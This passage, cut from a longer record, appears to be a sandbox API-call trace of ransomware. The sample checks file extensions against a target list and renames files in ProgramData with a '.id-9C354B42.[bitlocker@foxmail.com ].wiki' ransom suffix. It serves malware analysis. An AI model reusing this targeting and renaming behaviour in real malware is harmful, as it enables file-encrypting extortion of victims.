Help\\MS.INFOPATH.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.464] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.464] lstrlenW (lpString=".doc") returned 4 [0173.464] lstrcmpiW (lpString1=".doc", lpString2=".hxn") returned -1 [0173.464] lstrlenW (lpString=".docx") returned 5 [0173.464] lstrcmpiW (lpString1=".docx", lpString2="3.hxn") returned -1 [0173.464] lstrlenW (lpString=".pdf") returned 4 [0173.464] lstrcmpiW (lpString1=".pdf", lpString2=".hxn") returned 1 [0173.464] lstrlenW (lpString=".xls") returned 4 [0173.464] lstrcmpiW (lpString1=".xls", lpString2=".hxn") returned 1 [0173.464] lstrlenW (lpString=".xlsx") returned 5 [0173.464] lstrcmpiW (lpString1=".xlsx", lpString2="3.hxn") returned -1 [0173.464] lstrlenW (lpString=".ppt") returned 4 [0173.464] lstrcmpiW (lpString1=".ppt", lpString2=".hxn") returned 1 [0173.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.464] lstrlenW (lpString=".zip") returned 4 [0173.464] lstrcmpiW (lpString1=".zip", lpString2=".hxn") returned 1 [0173.464] lstrlenW (lpString=".rar") returned 4 [0173.464] lstrcmpiW (lpString1=".rar", lpString2=".hxn") returned 1 [0173.464] lstrlenW (lpString=".bz2") returned 4 [0173.465] lstrcmpiW (lpString1=".bz2", lpString2=".hxn") returned -1 [0173.465] lstrlenW (lpString=".7z") returned 3 [0173.465] lstrcmpiW (lpString1=".7z", lpString2="hxn") returned -1 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString=".dbf") returned 4 [0173.465] lstrcmpiW (lpString1=".dbf", lpString2=".hxn") returned -1 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString=".1cd") returned 4 [0173.465] lstrcmpiW (lpString1=".1cd", lpString2=".hxn") returned -1 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString=".jpg") returned 4 [0173.465] lstrcmpiW (lpString1=".jpg", lpString2=".hxn") returned 1 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString=".doc") returned 4 [0173.465] lstrcmpiW (lpString1=".doc", lpString2=".hxn") returned -1 [0173.465] lstrlenW (lpString=".docx") returned 5 [0173.465] lstrcmpiW (lpString1=".docx", lpString2="3.hxn") returned -1 [0173.465] lstrlenW (lpString=".pdf") returned 4 [0173.465] lstrcmpiW (lpString1=".pdf", lpString2=".hxn") returned 1 [0173.465] lstrlenW (lpString=".xls") returned 4 [0173.465] lstrcmpiW (lpString1=".xls", lpString2=".hxn") returned 1 [0173.465] lstrlenW (lpString=".xlsx") returned 5 [0173.465] lstrcmpiW (lpString1=".xlsx", lpString2="3.hxn") returned -1 [0173.465] lstrlenW (lpString=".ppt") returned 4 [0173.465] lstrcmpiW (lpString1=".ppt", lpString2=".hxn") returned 1 [0173.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.465] lstrlenW (lpString=".zip") returned 4 [0173.465] lstrcmpiW (lpString1=".zip", lpString2=".hxn") returned 1 [0173.465] lstrlenW (lpString=".rar") returned 4 [0173.466] lstrcmpiW (lpString1=".rar", lpString2=".hxn") returned 1 [0173.466] lstrlenW (lpString=".bz2") returned 4 [0173.466] lstrcmpiW (lpString1=".bz2", lpString2=".hxn") returned -1 [0173.466] lstrlenW (lpString=".7z") returned 3 [0173.466] lstrcmpiW (lpString1=".7z", lpString2="hxn") returned -1 [0173.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.466] lstrlenW (lpString=".dbf") returned 4 [0173.466] lstrcmpiW (lpString1=".dbf", lpString2=".hxn") returned -1 [0173.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.466] lstrlenW (lpString=".1cd") returned 4 [0173.466] lstrcmpiW (lpString1=".1cd", lpString2=".hxn") returned -1 [0173.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 53 [0173.466] lstrlenW (lpString=".jpg") returned 4 [0173.466] lstrcmpiW (lpString1=".jpg", lpString2=".hxn") returned 1 [0173.466] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0173.466] lstrlenW (lpString="cab1.cab") returned 8 [0173.466] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.467] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=5204382) returned 1 [0173.467] CloseHandle (hObject=0x1b4) returned 1 [0173.467] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20 [0173.467] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.467] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0173.467] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.467] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.467] lstrlenW (lpString=".doc") returned 4 [0173.467] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.467] lstrlenW (lpString=".docx") returned 5 [0173.467] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.467] lstrlenW (lpString=".pdf") returned 4 [0173.467] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.467] lstrlenW (lpString=".xls") returned 4 [0173.467] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.467] lstrlenW (lpString=".xlsx") returned 5 [0173.468] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.468] lstrlenW (lpString=".ppt") returned 4 [0173.468] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString=".zip") returned 4 [0173.468] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString=".rar") returned 4 [0173.468] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString=".bz2") returned 4 [0173.468] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.468] lstrlenW (lpString=".7z") returned 3 [0173.468] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString=".dbf") returned 4 [0173.468] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString=".1cd") returned 4 [0173.468] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString=".jpg") returned 4 [0173.468] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.468] lstrlenW (lpString=".doc") returned 4 [0173.468] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.468] lstrlenW (lpString=".docx") returned 5 [0173.468] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.476] lstrlenW (lpString=".pdf") returned 4 [0173.476] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString=".xls") returned 4 [0173.476] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString=".xlsx") returned 5 [0173.476] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.476] lstrlenW (lpString=".ppt") returned 4 [0173.476] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.476] lstrlenW (lpString=".zip") returned 4 [0173.476] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString=".rar") returned 4 [0173.476] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString=".bz2") returned 4 [0173.476] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.476] lstrlenW (lpString=".7z") returned 3 [0173.476] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.476] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.476] lstrlenW (lpString=".dbf") returned 4 [0173.476] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.476] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.476] lstrlenW (lpString=".1cd") returned 4 [0173.477] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.477] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 121 [0173.477] lstrlenW (lpString=".jpg") returned 4 [0173.477] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.477] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0173.477] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28 [0173.477] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.671] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=143360) returned 1 [0173.671] CloseHandle (hObject=0x19c) returned 1 [0173.671] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20 [0173.671] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.671] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.671] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.671] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.671] lstrlenW (lpString=".doc") returned 4 [0173.671] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.671] lstrlenW (lpString=".docx") returned 5 [0173.671] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0173.672] lstrlenW (lpString=".pdf") returned 4 [0173.672] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.672] lstrlenW (lpString=".xls") returned 4 [0173.672] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.672] lstrlenW (lpString=".xlsx") returned 5 [0173.672] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0173.672] lstrlenW (lpString=".ppt") returned 4 [0173.672] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString=".zip") returned 4 [0173.672] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.672] lstrlenW (lpString=".rar") returned 4 [0173.672] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.672] lstrlenW (lpString=".bz2") returned 4 [0173.672] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.672] lstrlenW (lpString=".7z") returned 3 [0173.672] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString=".dbf") returned 4 [0173.672] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString=".1cd") returned 4 [0173.672] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString=".jpg") returned 4 [0173.672] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.672] lstrlenW (lpString=".doc") returned 4 [0173.672] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.672] lstrlenW (lpString=".docx") returned 5 [0173.673] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0173.673] lstrlenW (lpString=".pdf") returned 4 [0173.673] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.673] lstrlenW (lpString=".xls") returned 4 [0173.673] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.673] lstrlenW (lpString=".xlsx") returned 5 [0173.673] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0173.673] lstrlenW (lpString=".ppt") returned 4 [0173.673] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.673] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.673] lstrlenW (lpString=".zip") returned 4 [0173.673] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.673] lstrlenW (lpString=".rar") returned 4 [0173.673] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.673] lstrlenW (lpString=".bz2") returned 4 [0173.673] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.673] lstrlenW (lpString=".7z") returned 3 [0173.673] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.673] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.673] lstrlenW (lpString=".dbf") returned 4 [0173.673] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.673] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.673] lstrlenW (lpString=".1cd") returned 4 [0173.673] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.673] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 141 [0173.673] lstrlenW (lpString=".jpg") returned 4 [0173.673] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.673] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0173.674] lstrlenW (lpString="cab1.cab") returned 8 [0173.674] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.050] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=5588256) returned 1 [0174.050] CloseHandle (hObject=0x320) returned 1 [0174.050] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20 [0174.050] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.050] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0174.050] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.050] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.050] lstrlenW (lpString=".doc") returned 4 [0174.050] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0174.050] lstrlenW (lpString=".docx") returned 5 [0174.050] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0174.050] lstrlenW (lpString=".pdf") returned 4 [0174.050] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString=".xls") returned 4 [0174.051] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString=".xlsx") returned 5 [0174.051] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0174.051] lstrlenW (lpString=".ppt") returned 4 [0174.051] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString=".zip") returned 4 [0174.051] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString=".rar") returned 4 [0174.051] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString=".bz2") returned 4 [0174.051] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0174.051] lstrlenW (lpString=".7z") returned 3 [0174.051] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString=".dbf") returned 4 [0174.051] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString=".1cd") returned 4 [0174.051] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString=".jpg") returned 4 [0174.051] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.051] lstrlenW (lpString=".doc") returned 4 [0174.051] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString=".docx") returned 5 [0174.052] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0174.052] lstrlenW (lpString=".pdf") returned 4 [0174.052] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString=".xls") returned 4 [0174.052] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString=".xlsx") returned 5 [0174.052] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0174.052] lstrlenW (lpString=".ppt") returned 4 [0174.052] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.052] lstrlenW (lpString=".zip") returned 4 [0174.052] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString=".rar") returned 4 [0174.052] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString=".bz2") returned 4 [0174.052] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0174.052] lstrlenW (lpString=".7z") returned 3 [0174.052] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 